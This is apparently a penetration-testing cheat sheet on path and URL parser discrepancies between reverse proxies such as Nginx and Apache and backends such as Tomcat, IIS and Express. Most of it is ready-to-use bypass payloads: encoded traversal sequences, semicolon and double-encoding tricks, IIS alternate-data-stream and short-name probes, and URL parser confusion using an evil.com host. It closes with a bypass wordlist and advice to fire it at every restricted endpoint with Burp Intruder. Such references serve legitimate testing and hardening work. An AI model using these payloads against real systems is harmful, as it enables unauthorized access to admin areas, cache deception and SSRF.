Reverse proxy and backend server interpret the same URL path differently. This causes access control bypass, cache poisoning, and SSRF.
# Nginx normalizes ../ but backend doesn't (or vice versa)
GET /allowed/../admin HTTP/1.1
# Nginx sees: /admin (blocked by ACL)
# But: GET /allowed/..%2fadmin
# Nginx sees: /allowed/..%2fadmin (allowed - doesn't normalize %2f)
# Backend decodes: /allowed/../admin -> /admin (served!)
# Trailing slash difference
/admin -> 403 (Nginx blocks)
/admin/ -> 200 (Nginx rule doesn't match, backend serves)
# Case sensitivity
/Admin -> Nginx rule for /admin doesn't match (case sensitive)
/ADMIN -> Backend normalizes to /admin (case insensitive)
# Apache mod_rewrite vs backend
GET /api/..;/admin HTTP/1.1
# Apache: path is /api/..;/admin (..;/ is not ../)
# Tomcat/Jetty: ..;/ is treated as ../ -> path becomes /admin
# Apache path normalization
GET /api/%2e%2e/admin HTTP/1.1
# Apache may not decode %2e%2e as ..
# Backend (Node/Python/Java) may decode and traverse
# Semicolon path parameter (Tomcat strips everything after ;)
/admin;anything -> /admin
/allowed;/../admin -> /allowed (to proxy) -> /admin (to Tomcat)
# Double URL encoding
/admin -> blocked
/%61dmin -> blocked (some proxies decode)
/%2561dmin -> proxy sees literal %61, backend double-decodes to /admin
# Trailing dot
/admin. -> some Java servers resolve to /admin
/WEB-INF/web.xml. -> may bypass static file restrictions
# Express path normalization
/admin -> 403
/Admin -> Express routes are case-sensitive by default, but...
# If app sets app.set('case sensitive routing', false) -> /ADMIN works
# Prototype pollution in URL parsing
/admin -> blocked
/./admin -> same as /admin in many frameworks
/admin// -> trailing slashes
# IIS short name (8.3) enumeration
GET /ABCDEF~1.ASP HTTP/1.1
# Reveals existence of files starting with "ABCDEF"
# IIS path traversal
/admin../ -> may serve parent directory
/admin::$DATA -> NTFS alternate data stream
/admin%20/ -> trailing space
# Unicode normalization (old IIS)
/%c0%af -> / (overlong UTF-8)
/%c1%9c -> \ (directory traversal on Windows)
# Different parsers handle ambiguous URLs differently
# Backslash
https://target.com\@evil.com/path
# Some parsers: host=target.com, path=\@evil.com/path
# Others: host=evil.com, path=/path (\ treated as /)
# Fragment
https://target.com#@evil.com
# Browser: host=target.com, fragment=@evil.com
# Server: may parse differently if # not handled
# Multiple @ signs
https://user@target.com@evil.com
# RFC: last @ separates host
# Some parsers: host=target.com@evil.com
# Tab/newline in URL
https://evil.com%09.target.com
https://evil%0a.com
# Some parsers ignore whitespace characters
# Request:
GET /api/public/../admin/users HTTP/1.1
# Scenario 1: Proxy normalizes, app doesn't
# Proxy sees: /admin/users -> blocked
# Solution: double encode or use parser difference
# Scenario 2: Proxy doesn't normalize, app does
# Proxy sees: /api/public/../admin/users -> matches /api/public/* (allowed)
# App normalizes: /admin/users -> served!
# General bypass patterns to try:
/./admin
/admin/.
/admin/./
//admin
/admin//
/%2f/admin
/admin%00
/admin%20
/admin%09
/admin..;/
/admin;/
/admin\
# See Web-Cache-Attacks.md for cache deception via path confusion
# Cache servers and origin servers may normalize differently
# Leading to cache poisoning or cache deception
# Example: CDN caches by raw URL, origin normalizes
GET /static/../my-account HTTP/1.1
# CDN: caches as /static/../my-account (thinks it's static path)
# Origin: serves /my-account (dynamic, sensitive)
# Use Burp Intruder with path confusion wordlist
# Try each bypass against every restricted endpoint
# Compare response codes/lengths between proxy and direct backend access